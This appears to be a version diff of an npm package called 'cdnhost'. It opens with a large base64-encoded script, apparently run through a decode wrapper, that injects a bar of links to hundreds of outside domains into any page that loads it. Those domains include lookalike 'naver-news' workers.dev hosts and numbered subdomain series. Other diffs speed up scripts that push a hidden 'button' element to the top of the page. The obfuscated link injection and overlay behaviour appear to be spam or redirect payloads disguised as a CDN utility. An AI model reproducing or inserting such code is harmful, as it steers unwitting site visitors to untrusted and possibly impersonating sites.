Ii8vNy5sMWkxaS53b3JrZXJzLmRldiIsIi8vNi5sMWkxaS53b3JrZXJzLmRldiIsIi8vNS5sMWkxaS53b3JrZXJzLmRldiIsIi8vNC5sMWkxaS53b3JrZXJzLmRldiIsIi8vMy5sMWkxaS53b3JrZXJzLmRldiIsIi8vMi5sMWkxaS53b3JrZXJzLmRldiIsIi8vMS5sMWkxaS53b3JrZXJzLmRldiIsIi8vNi5uYXZlci0xMTYud29ya2Vycy5kZXYiLCIvLzUubmF2ZXItMTE2LndvcmtlcnMuZGV2IiwiLy80Lm5hdmVyLTExNi53b3JrZXJzLmRldiIsIi8vMy5uYXZlci0xMTYud29ya2Vycy5kZXYiLCIvLzIubmF2ZXItMTE2LndvcmtlcnMuZGV2IiwiLy8xLm5hdmVyLTExNi53b3JrZXJzLmRldiIsIi8vNi5xN3gyLndvcmtlcnMuZGV2IiwiLy81LnE3eDIud29ya2Vycy5kZXYiLCIvLzQucTd4Mi53b3JrZXJzLmRldiIsIi8vMy5xN3gyLndvcmtlcnMuZGV2IiwiLy8yLnE3eDIud29ya2Vycy5kZXYiLCIvLzEucTd4Mi53b3JrZXJzLmRldiIsIi8vOC5hOWxxLndvcmtlcnMuZGV2IiwiLy83LmE5bHEud29ya2Vycy5kZXYiLCIvLzYuYTlscS53b3JrZXJzLmRldiIsIi8vNS5hOWxxLndvcmtlcnMuZGV2IiwiLy80LmE5bHEud29ya2Vycy5kZXYiLCIvLzMuYTlscS53b3JrZXJzLmRldiIsIi8vMi5hOWxxLndvcmtlcnMuZGV2IiwiLy8xLmE5bHEud29ya2Vycy5kZXYiLCIvL2xvbmctYmFyLTRiNGUuYTlscS53b3JrZXJzLmRldiIsIi8vMS54MzZxLndvcmtlcnMuZGV2IiwiLy8zLngzNnEud29ya2Vycy5kZXYiLCIvLzQueDM2cS53b3JrZXJzLmRldiIsIi8vNS54MzZxLndvcmtlcnMuZGV2IiwiLy82LngzNnEud29ya2Vycy5kZXYiLCIvLzgueDM2cS53b3JrZXJzLmRldiIsIi8vOS54MzZxLndvcmtlcnMuZGV2IiwiLy8xLnAxcTcud29ya2Vycy5kZXYiLCIvLzMucDFxNy53b3JrZXJzLmRldiIsIi8vNC5wMXE3LndvcmtlcnMuZGV2IiwiLy81LnAxcTcud29ya2Vycy5kZXYiLCIvLzYucDFxNy53b3JrZXJzLmRldiIsIi8vNy5wMXE3LndvcmtlcnMuZGV2IiwiLy84LnAxcTcud29ya2Vycy5kZXYiLCIvLzEuYXNja2x3MjEud29ya2Vycy5kZXYiLCIvLzIuYXNja2x3MjEud29ya2Vycy5kZXYiLCIvLzMuYXNja2x3MjEud29ya2Vycy5kZXYiLCIvLzUuYXNja2x3MjEud29ya2Vycy5kZXYiLCIvLzYuYXNja2x3MjEud29ya2Vycy5kZXYiLCIvLzcuYXNja2x3MjEud29ya2Vycy5kZXYiLCIvLzguYXNja2x3MjEud29ya2Vycy5kZXYiLCIvLzkuYXNja2x3MjEud29ya2Vycy5kZXYiLCIvLzIuZmx1a2UyMDEud29ya2Vycy5kZXYiLCIvLzMuZmx1a2UyMDEud29ya2Vycy5kZXYiLCIvLzQuZmx1a2UyMDEud29ya2Vycy5kZXYiLCIvLzUuZmx1a2UyMDEud29ya2Vycy5kZXYiLCIvLzYuZmx1a2UyMDEud29ya2Vycy5kZXYiLCIvLzcuZmx1a2UyMDEud29ya2Vycy5kZXYiLCIvLzguZmx1a2UyMDEud29ya2Vycy5kZXYiLCIvLzkuZmx1a2UyMDEud29ya2Vycy5kZXYiLCIvLzEuZmZsdWtlMTAzLndvcmtlcnMuZGV2IiwiLy8yLmZmbHVrZTEwMy53b3JrZXJzLmRldiIsIi8vMy5mZmx1a2UxMDMud29ya2Vycy5kZXYiLCIvLzQuZmZsdWtlMTAzLndvcmtlcnMuZGV2IiwiLy81LmZmbHVrZTEwMy53b3JrZXJzLmRldiIsIi8vNi5mZmx1a2UxMDMud29ya2Vycy5kZXYiLCIvLzcuZmZsdWtlMTAzLndvcmtlcnMuZGV2IiwiLy84LmZmbHVrZTEwMy53b3JrZXJzLmRldiIsIi8vOS5mZmx1a2UxMDMud29ya2Vycy5kZXYiLCIvLzEucXB4LndvcmtlcnMuZGV2IiwiLy8yLnFweC53b3JrZXJzLmRldiIsIi8vMy5xcHgud29ya2Vycy5kZXYiLCIvLzQucXB4LndvcmtlcnMuZGV2IiwiLy81LnFweC53b3JrZXJzLmRldiIsIi8vNi5xcHgud29ya2Vycy5kZXYiLCIvLzcucXB4LndvcmtlcnMuZGV2IiwiLy84LnFweC53b3JrZXJzLmRldiIsIi8vOS5xcHgud29ya2Vycy5kZXYiLCIvLzEuY3hpLndvcmtlcnMuZGV2IiwiLy8yLmN4aS53b3JrZXJzLmRldiIsIi8vMy5jeGkud29ya2Vycy5kZXYiLCIvLzQuY3hpLndvcmtlcnMuZGV2IiwiLy81LmN4aS53b3JrZXJzLmRldiIsIi8vNi5jeGkud29ya2Vycy5kZXYiLCIvLzcuY3hpLndvcmtlcnMuZGV2IiwiLy84LmN4aS53b3JrZXJzLmRldiIsIi8vOS5jeGkud29ya2Vycy5kZXYiLCIvLzEua3hxLndvcmtlcnMuZGV2IiwiLy8yLmt4cS53b3JrZXJzLmRldiIsIi8vMy5reHEud29ya2Vycy5kZXYiLCIvLzQua3hxLndvcmtlcnMuZGV2IiwiLy81Lmt4cS53b3JrZXJzLmRldiIsIi8vNi5reHEud29ya2Vycy5kZXYiLCIvLzcua3hxLndvcmtlcnMuZGV2IiwiLy84Lmt4cS53b3JrZXJzLmRldiIsIi8vOS5reHEud29ya2Vycy5kZXYiLCIvLzEubGVzdW5naHdhNDA4LndvcmtlcnMuZGV2IiwiLy8yLmxlc3VuZ2h3YTQwOC53b3JrZXJzLmRldiIsIi8vMy5sZXN1bmdod2E0MDgud29ya2Vycy5kZXYiLCIvLzQubGVzdW5naHdhNDA4LndvcmtlcnMuZGV2IiwiLy81Lmxlc3VuZ2h3YTQwOC53b3JrZXJzLmRldiIsIi8vNi5sZXN1bmdod2E0MDgud29ya2Vycy5kZXYiLCIvLzcubGVzdW5naHdhNDA4LndvcmtlcnMuZGV2IiwiLy84Lmxlc3VuZ2h3YTQwOC53b3JrZXJzLmRldiIsIi8vMi5zaWxpc29mdDA3OC53b3JrZXJzLmRldiIsIi8vMy5zaWxpc29mdDA3OC53b3JrZXJzLmRldiIsIi8vNC5zaWxpc29mdDA3OC53b3JrZXJzLmRldiIsIi8vNS5zaWxpc29mdDA3OC53b3JrZXJzLmRldiIsIi8vNi5zaWxpc29mdDA3OC53b3JrZXJzLmRldiIsIi8vNy5zaWxpc29mdDA3OC53b3JrZXJzLmRldiIsIi8vOC5zaWxpc29mdDA3OC53b3JrZXJzLmRldiIsIi8vZmxvcmFsLWZpZWxkLTZkZjIuc2lsaXNvZnQwNzgud29ya2Vycy5kZXYiLCIvL2FkbWluLjA5OS5rciIsDQoiLy9vb29vb28uaXdpbnYubmV0IiwiLy9taW5lY3JhZnQuaXdpbnYubmV0IiwiLy96enp6enouaXdpbnYubmV0IiwiLy9zc3Nzc3MuaXdpbnYubmV0IiwiLy90dHR0dHQuaXdpbnYubmV0IiwiLy9hYWFhYWEuaXdpbnYubmV0IiwNCg0KIi8vdG9uZXdzLmxvZ2lnLmltIiwiLy9hbGxuZXdzLmxvZ2lnLmltIiwiLy96bmV3cy5sb2dpZy5pbSIsIi8vYmxvZy4wOTkua3IiLCIvLzA5OS5rciIsDQoiLy8xLm1hbmF0b2tpLmtyIiwiLy8yLm1hbmF0b2tpLmtyIiwiLy8zLm1hbmF0b2tpLmtyIiwiLy80Lm1hbmF0b2tpLmtyIiwiLy81Lm1hbmF0b2tpLmtyIiwiLy82Lm1hbmF0b2tpLmtyIiwiLy83Lm1hbmF0b2tpLmtyIiwiLy84Lm1hbmF0b2tpLmtyIiwiLy85Lm1hbmF0b2tpLmtyIiwiLy8xMC5tYW5hdG9raS5rciIsIi8vMTEubWFuYXRva2kua3IiLCIvLzEyLm1hbmF0b2tpLmtyIiwiLy8xMy5tYW5hdG9raS5rciIsIi8vMTQubWFuYXRva2kua3IiLCIvLzE1Lm1hbmF0b2tpLmtyIiwiLy8xNi5tYW5hdG9raS5rciIsIi8vMTcubWFuYXRva2kua3IiLCIvLzE4Lm1hbmF0b2tpLmtyIiwiLy8xOS5tYW5hdG9raS5rciIsIi8vMjAubWFuYXRva2kua3IiLCIvLzE5Lm1hbmF0b2tpLmtyIiwiLy8yMC5tYW5hdG9raS5rciIsIi8vMjEubWFuYXRva2kua3IiLCIvLzIyLm1hbmF0b2tpLmtyIiwiLy8yMy5tYW5hdG9raS5rciIsIi8vMjQubWFuYXRva2kua3IiLCIvLzI1Lm1hbmF0b2tpLmtyIiwiLy8yNi5tYW5hdG9raS5rciIsIi8vMjcubWFuYXRva2kua3IiLCIvLzI4Lm1hbmF0b2tpLmtyIiwiLy8yOS5tYW5hdG9raS5rciIsIi8vMzAubWFuYXRva2kua3IiLCIvLzMxLm1hbmF0b2tpLmtyIiwiLy8zMi5tYW5hdG9raS5rciIsIi8vMzMubWFuYXRva2kua3IiLCIvLzM0Lm1hbmF0b2tpLmtyIiwiLy8zNS5tYW5hdG9raS5rciIsIi8vMzYubWFuYXRva2kua3IiLCIvLzM3Lm1hbmF0b2tpLmtyIiwiLy8zOC5tYW5hdG9raS5rciIsIi8vMzkubWFuYXRva2kua3IiLCIvLzQwLm1hbmF0b2tpLmtyIiwiLy80MS5tYW5hdG9raS5rciIsIi8vNDIubWFuYXRva2kua3IiLCIvLzQzLm1hbmF0b2tpLmtyIiwiLy80NC5tYW5hdG9raS5rciIsIi8vNDUubWFuYXRva2kua3IiLCIvLzQ2Lm1hbmF0b2tpLmtyIiwiLy80Ny5tYW5hdG9raS5rciIsIi8vNDgubWFuYXRva2kua3IiLCIvLzQ5Lm1hbmF0b2tpLmtyIiwiLy81MC5tYW5hdG9raS5rciIsIi8vNTEubWFuYXRva2kua3IiLCIvLzUyLm1hbmF0b2tpLmtyIiwiLy81My5tYW5hdG9raS5rciIsIi8vNTQubWFuYXRva2kua3IiLCIvLzU1Lm1hbmF0b2tpLmtyIiwiLy81Ni5tYW5hdG9raS5rciIsIi8vNTcubWFuYXRva2kua3IiLCIvLzU4Lm1hbmF0b2tpLmtyIiwiLy81OS5tYW5hdG9raS5rciIsIi8vNjAubWFuYXRva2kua3IiLCIvLzYxLm1hbmF0b2tpLmtyIiwiLy82Mi5tYW5hdG9raS5rciIsIi8vNjMubWFuYXRva2kua3IiLCIvLzY0Lm1hbmF0b2tpLmtyIiwiLy82NS5tYW5hdG9raS5rciIsIi8vNjYubWFuYXRva2kua3IiLCIvLzY3Lm1hbmF0b2tpLmtyIiwiLy82OC5tYW5hdG9raS5rciIsIi8vNjkubWFuYXRva2kua3IiLCIvLzcwLm1hbmF0b2tpLmtyIiwiLy83MS5tYW5hdG9raS5rciIsIi8vNzIubWFuYXRva2kua3IiLCIvLzczLm1hbmF0b2tpLmtyIiwiLy83NC5tYW5hdG9raS5rciIsIi8vNzUubWFuYXRva2kua3IiLCIvLzc2Lm1hbmF0b2tpLmtyIiwiLy83Ny5tYW5hdG9raS5rciIsIi8vNzgubWFuYXRva2kua3IiLCIvLzc5Lm1hbmF0b2tpLmtyIiwNCg0KIi8vMS4xOTkua3IiLCIvLzIuMTk5LmtyIiwiLy8zLjE5OS5rciIsIi8vNC4xOTkua3IiLCIvLzUuMTk5LmtyIiwiLy82LjE5OS5rciIsIi8vNy4xOTkua3IiLCIvLzguMTk5LmtyIiwiLy85LjE5OS5rciIsIi8vZ29vZ2xlLjE5OS5rciIsIi8vdGlzdG9yeS50aGVkZW8udWsiLCIvL2Jsb2cudGhlZGVvLnVrIiwiLy9uZXdzLnRoZWRlby51ayIsIi8vby50aGVkZW8udWsiLCIvL29vLnRoZWRlby51ayIsIi8vb29vLnRoZWRlby51ayIsIi8vb29vby50aGVkZW8udWsiLCIvL29vb29vLnRoZWRlby51ayIsIi8vaS50aGVkZW8udWsiLCIvL2lpLnRoZWRlby51ayIsIi8vaWlpLnRoZWRlby51ayIsIi8vaWlpaS50aGVkZW8udWsiLCIvL2lpaWlpLnRoZWRlby51ayIsIi8vYS50aGVkZW8udWsiLCIvL2IudGhlZGVvLnVrIiwiLy9jLnRoZWRlby51ayIsIi8vZC50aGVkZW8udWsiLCIvL2UudGhlZGVvLnVrIiwiLy9mLnRoZWRlby51ayIsIi8vZy50aGVkZW8udWsiLCIvL2gudGhlZGVvLnVrIiwiLy9qLnRoZWRlby51ayIsIi8vay50aGVkZW8udWsiLCIvL2wudGhlZGVvLnVrIiwiLy9tLnRoZWRlby51ayIsIi8vbi50aGVkZW8udWsiLCIvL3AudGhlZGVvLnVrIiwiLy9xLnRoZWRlby51ayIsIi8vci50aGVkZW8udWsiLCIvL3MudGhlZGVvLnVrIiwiLy90LnRoZWRlby51ayIsIi8vdS50aGVkZW8udWsiLCIvL3YudGhlZGVvLnVrIiwiLy93LnRoZWRlby51ayIsIi8veC50aGVkZW8udWsiLCIvL3kudGhlZGVvLnVrIiwiLy96LnRoZWRlby51ayIsIi8vYTEudGhlZGVvLnVrIiwiLy9hMi50aGVkZW8udWsiLCIvL2EzLnRoZWRlby51ayIsIi8vYTQudGhlZGVvLnVrIiwiLy9hNS50aGVkZW8udWsiLCIvL2E2LnRoZWRlby51ayIsIi8vYTcudGhlZGVvLnVrIiwiLy9hOC50aGVkZW8udWsiLCIvL2E5LnRoZWRlby51ayIsIi8vYjEudGhlZGVvLnVrIiwiLy9iMi50aGVkZW8udWsiLCIvL2IzLnRoZWRlby51ayIsIi8vYjQudGhlZGVvLnVrIiwiLy9iNS50aGVkZW8udWsiLCIvL2I2LnRoZWRlby51ayIsIi8vYjcudGhlZGVvLnVrIiwiLy9iOC50aGVkZW8udWsiLCIvL2I5LnRoZWRlby51ayIsIi8vY2xvdWQudGhlZGVvLnVrIiwNCiIvLzEuNzk5LmtyIiwiLy8yLjc5OS5rciIsIi8vMy43OTkua3IiLCIvLzQuNzk5LmtyIiwiLy81Ljc5OS5rciIsIi8vNi43OTkua3IiLCIvLzcuNzk5LmtyIiwiLy84Ljc5OS5rciIsIi8vOS43OTkua3IiLCIvL2EuNzk5LmtyIiwiLy9iLjc5OS5rciIsIi8vYy43OTkua3IiLCIvL2QuNzk5LmtyIiwiLy9lLjc5OS5rciIsIi8vZi43OTkua3IiLCIvL2cuNzk5LmtyIiwiLy9oLjc5OS5rciIsIi8vaS43OTkua3IiLCIvL2ouNzk5LmtyIiwiLy9rLjc5OS5rciIsIi8vbC43OTkua3IiLCIvL20uNzk5LmtyIiwiLy9uLjc5OS5rciIsIi8vby43OTkua3IiLCIvL3AuNzk5LmtyIiwiLy9xLjc5OS5rciIsIi8vci43OTkua3IiLCIvL3MuNzk5LmtyIiwiLy90Ljc5OS5rciIsIi8vdS43OTkua3IiLCIvL3YuNzk5LmtyIiwiLy93Ljc5OS5rciIsIi8veC43OTkua3IiLCIvL3kuNzk5LmtyIiwiLy96Ljc5OS5rciIsDQoiLy94bi0tdnYwYncyN2EuOTlzLmtyIiwiLy8xLjk5cy5rciIsIi8vMi45OXMua3IiLCIvLzMuOTlzLmtyIiwiLy80Ljk5cy5rciIsIi8vNS45OXMua3IiLCIvLzYuOTlzLmtyIiwiLy83Ljk5cy5rciIsIi8vOC45OXMua3IiLCIvLzkuOTlzLmtyIiwiLy9hLjk5cy5rciIsIi8vYi45OXMua3IiLCIvL2MuOTlzLmtyIiwiLy9kLjk5cy5rciIsIi8vZS45OXMua3IiLCIvL2YuOTlzLmtyIiwiLy9nLjk5cy5rciIsIi8vaC45OXMua3IiLCIvL2kuOTlzLmtyIiwiLy9qLjk5cy5rciIsIi8vay45OXMua3IiLCIvL2wuOTlzLmtyIiwiLy9tLjk5cy5rciIsIi8vbi45OXMua3IiLCIvL28uOTlzLmtyIiwiLy9wLjk5cy5rciIsIi8vcS45OXMua3IiLCIvL3IuOTlzLmtyIiwiLy9zLjk5cy5rciIsIi8vdC45OXMua3IiLCIvL3UuOTlzLmtyIiwiLy92Ljk5cy5rciIsIi8vdy45OXMua3IiLCIvL3guOTlzLmtyIiwiLy95Ljk5cy5rciIsIi8vei45OXMua3IiLA0KDQoiaHR0cHM6Ly93d3cuZmx1a2UyMDEud29ya2Vycy5kZXYiLCJodHRwczovL2FyY2hpLnZlYWkud29ya2Vycy5kZXYiLCJodHRwczovL2Fmci5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9iaW5nLm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL2Jsb2cubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsImh0dHBzOi8vY2hhdC5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9kYy5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9nb29nbGUubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsImh0dHBzOi8vaGl0Lm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL21rLm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL25ld3MubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsImh0dHBzOi8vb28ubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsImh0dHBzOi8vb3AubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsImh0dHBzOi8vd3d3LmE5bHEud29ya2Vycy5kZXYiLCJodHRwczovL3d3dy5hc2NrbHcyMS53b3JrZXJzLmRldiIsImh0dHBzOi8vd3d3LmZmbHVrZTEwMy53b3JrZXJzLmRldiIsImh0dHBzOi8vd3d3Lm5hdmVyLTExNi53b3JrZXJzLmRldiIsImh0dHBzOi8vd3d3LnAxcTcud29ya2Vycy5kZXYiLCJodHRwczovL3d3dy54MzZxLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9pc2FpLmtyIiwiLy93YWxscGFwZXIua28ta3Iud29ya2Vycy5kZXYiLCIvL2Fkc2Vuc2Uua28ta3Iud29ya2Vycy5kZXYiLCIvL3lvdXR1YmUua28ta3Iud29ya2Vycy5kZXYiLCIvL2hoYW0ua28ta3Iud29ya2Vycy5kZXYiLA0KImh0dHBzOi8vaW91b2wuYmxvZ3Nwb3QuY29tIiwNCiAgXSldOw0KDQogIGNvbnN0IGljb25zID0gWw0KICAgICJodHRwczovL2ZpbGVzLnN2Z2Nkbi5pby90YWJsZXIvY2xvY2staG91ci01LnN2ZyIsICJodHRwczovL2ZpbGVzLnN2Z2Nkbi5pby90YWJsZXIvY2xvY2staGVhcnQuc3ZnIiwgDQogICAgImh0dHBzOi8vZmlsZXMuc3ZnY2RuLmlvL3RhYmxlci9hcm1jaGFpci0yLnN2ZyIsICJodHRwczovL2ZpbGVzLnN2Z2Nkbi5pby90YWJsZXIvYXBwLXdpbmRvdy5zdmciLCANCiAgICAiaHR0cHM6Ly9maWxlcy5zdmdjZG4uaW8vdGFibGVyL2FuZ2xlLnN2ZyIsICJodHRwczovL2ZpbGVzLnN2Z2Nkbi5pby90YWJsZXIvYWxpZ24tYm94LWxlZnQtbWlkZGxlLnN2ZyIsICANCiAgICAiaHR0cHM6Ly9maWxlcy5zdmdjZG4uaW8vdGFibGVyL2Nsb3VkLWJvbHQuc3ZnIiwgImh0dHBzOi8vZmlsZXMuc3ZnY2RuLmlvL3RhYmxlci9jbG91ZC1jb2cuc3ZnIiwgIA0KICAgICJodHRwczovL2ZpbGVzLnN2Z2Nkbi5pby90YWJsZXIvY2xvdWQtYml0Y29pbi5zdmciLCAiaHR0cHM6Ly9maWxlcy5zdmdjZG4uaW8vdGFibGVyL2Nsb3VkLWhlYXJ0LnN2ZyIsIA0KICAgICJodHRwczovL2ZpbGVzLnN2Z2Nkbi5pby90YWJsZXIvY2xvdWQtbG9jay5zdmciLCAiaHR0cHM6Ly9maWxlcy5zdmdjZG4uaW8vdGFibGVyL2NvZGUtYXN0ZXJpc2suc3ZnIiwgIA0KICAgICJodHRwczovL2ZpbGVzLnN2Z2Nkbi5pby90YWJsZXIvY29tcGFzcy5zdmciLCAiaHR0cHM6Ly9maWxlcy5zdmdjZG4uaW8vdGFibGVyL2Nvb2tpZS5zdmciLCAgDQogICAgImh0dHBzOi8vZmlsZXMuc3ZnY2RuLmlvL3RhYmxlci9jb29raWUtbWFuLnN2ZyIsICJodHRwczovL2ZpbGVzLnN2Z2Nkbi5pby90YWJsZXIvY3VwLnN2ZyINCiAgXTsNCg0KICBsZXQgbGlua3NIdG1sID0gJyc7DQogIHVybHMuZm9yRWFjaCgodXJsLCBpbmRleCkgPT4gew0KICAgIGNvbnN0IGljb25VcmwgPSBpY29uc1tpbmRleCAlIGljb25zLmxlbmd0aF07DQogICAgY29uc3QgY2xlYW5Eb21haW4gPSB1cmwucmVwbGFjZSgvXihodHRwcz86KT9cL1wvLywgJycpLnJlcGxhY2UoL1wvJC8sICcnKTsNCiAgICBsaW5rc0h0bWwgKz0gYDxhIGhyZWY9IiR7dXJsfSIgdGFyZ2V0PSJfYmxhbmsiIHRpdGxlPSIke2NsZWFuRG9tYWlufSI+PGltZyBzcmM9IiR7aWNvblVybH0iIGFsdD0iSWNvbiI+PC9hPmA7DQogIH0pOw0KDQogIGNvbnN0IGZ1bGxIdG1sID0gYA0KICAgIDxkaXYgaWQ9ImdsYXNzLWJhbm5lci13cmFwcGVyIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDIwcHg7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogY2VudGVyOyI+DQogICAgICA8c3R5bGU+DQogICAgICAgIC5uYmFyLWNvbnRhaW5lciB7DQogICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgIG1heC13aWR0aDogODAwcHg7DQogICAgICAgICAgaGVpZ2h0OiA0OHB4Ow0KICAgICAgICAgIG1hcmdpbjogMCBhdXRvOw0KICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDI0cHg7DQogICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMTUpOw0KICAgICAgICAgIGJhY2tkcm9wLWZpbHRlcjogYmx1cigxNnB4KSBzYXR1cmF0ZSgxODAlKTsNCiAgICAgICAgICAtd2Via2l0LWJhY2tkcm9wLWZpbHRlcjogYmx1cigxNnB4KSBzYXR1cmF0ZSgxODAlKTsNCiAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMyk7DQogICAgICAgICAgYm94LXNoYWRvdzogMCA4cHggMzJweCAwIHJnYmEoMzEsIDM4LCAxMzUsIDAuMSk7DQogICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQogICAgICAgIC5uYmFyLWNvbnRhaW5lcjo6YWZ0ZXIgew0KICAgICAgICAgIGNvbnRlbnQ6ICcnOw0KICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICAgICAgICB0b3A6IDA7DQogICAgICAgICAgcmlnaHQ6IDQ0cHg7DQogICAgICAgICAgd2lkdGg6IDQwcHg7DQogICAgICAgICAgaGVpZ2h0OiAxMDAlOw0KICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byByaWdodCwgcmdiYSgyNTUsIDI1NSwgMjU1LCAwKSwgcmdiYSgyNTUsIDI1NSwgMjU1LCAxKSA5MCUpOw0KICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lOw0KICAgICAgICB9DQogICAgICAgIC5uYmFyLXNjcm9sbC1hcmVhIHsNCiAgICAgICAgICBmbGV4LWdyb3c6IDE7DQogICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgIG92ZXJmbG93LXg6IGF1dG87DQogICAgICAgICAgaGVpZ2h0OiAxMDAlOw0KICAgICAgICAgIHBhZGRpbmc6IDAgMTVweDsNCiAgICAgICAgICAtbXMtb3ZlcmZsb3ctc3R5bGU6IG5vbmU7DQogICAgICAgICAgc2Nyb2xsYmFyLXdpZHRoOiBub25lOw0KICAgICAgICB9DQogICAgICAgIC5uYmFyLXNjcm9sbC1hcmVhOjotd2Via2l0LXNjcm9sbGJhciB7DQogICAgICAgICAgZGlzcGxheTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAubmJhci1zY3JvbGwtYXJlYSBhIHsNCiAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KICAgICAgICAgIHBhZGRpbmc6IDAgN3B4Ow0KICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCiAgICAgICAgLm5iYXItc2Nyb2xsLWFyZWEgYSBpbWcgew0KICAgICAgICAgIHdpZHRoOiAyMHB4Ow0KICAgICAgICAgIGhlaWdodDogMjBweDsNCiAgICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgICAgfQ0KICAgICAgICAubmJhci1zY3JvbGwtYXJlYSBhOmhvdmVyIHsNCiAgICAgICAgICBvcGFjaXR5OiAxOw0KICAgICAgICB9DQogICAgICAgIC5uYmFyLWZpeGVkLW1lbnUgew0KICAgICAgICAgIGZsZXgtc2hyaW5rOiAwOw0KICAgICAgICAgIHdpZHRoOiA0NHB4Ow0KICAgICAgICAgIGhlaWdodDogMTAwJTsNCiAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LDAuMik7DQogICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsMjU1LDI1NSwwLjA1KTsNCiAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7DQogICAgICAgICAgei1pbmRleDogMjsNCiAgICAgICAgfQ0KICAgICAgICAubmJhci1maXhlZC1tZW51IGltZyB7DQogICAgICAgICAgd2lkdGg6IDE4cHg7DQogICAgICAgICAgaGVpZ2h0OiAxOHB4Ow0KICAgICAgICAgIG9wYWNpdHk6IDAuODsNCiAgICAgICAgfQ0KICAgICAgPC9zdHlsZT4NCiAgICAgIDxkaXYgY2xhc3M9Im5iYXItY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibmJhci1zY3JvbGwtYXJlYSI+DQogICAgICAgICAgJHtsaW5rc0h0bWx9DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJuYmFyLWZpeGVkLW1lbnUiPg0KICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2ZpbGVzLnN2Z2Nkbi5pby9jb2RleC9tZW51LnN2ZyIgYWx0PSJNZW51Ij4NCiAgICAgICAgPC9kaXY+DQogICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgYDsNCiAgDQogIGRvY3VtZW50LndyaXRlKGZ1bGxIdG1sKTsNCn0pKCk7'))));
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cdnhost",
3
- "version": "2.9.2",
3
+ "version": "2.9.4",
4
4
  "description": "cdnhost",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/seekr.js CHANGED
@@ -6,7 +6,7 @@ window.addEventListener('load', () => {
6
6
  const btn = document.getElementById("button");
7
7
  if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
8
  if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 1000);
9
+ }, 500);
10
10
 
11
11
  const container = document.getElementById('container');
12
12
  if (container) container.style.boxShadow = 'none';
package/seekr2.js CHANGED
@@ -6,7 +6,7 @@ window.addEventListener('load', () => {
6
6
  const btn = document.getElementById("button");
7
7
  if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
8
  if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 1000);
9
+ }, 500);
10
10
 
11
11
  const container = document.getElementById('container');
12
12
  if (container) container.style.boxShadow = 'none';
package/total.js CHANGED
@@ -6,7 +6,7 @@ window.addEventListener('load', () => {
6
6
  const btn = document.getElementById("button");
7
7
  if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
8
  if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 1000);
9
+ }, 500);
10
10
 
11
11
  const container = document.getElementById('container');
12
12
  if (container) container.style.boxShadow = 'none';
package/wordpress-chat.js CHANGED
@@ -6,7 +6,7 @@ window.addEventListener('load', () => {
6
6
  const btn = document.getElementById("button");
7
7
  if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
8
  if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 1000);
9
+ }, 500);
10
10
 
11
11
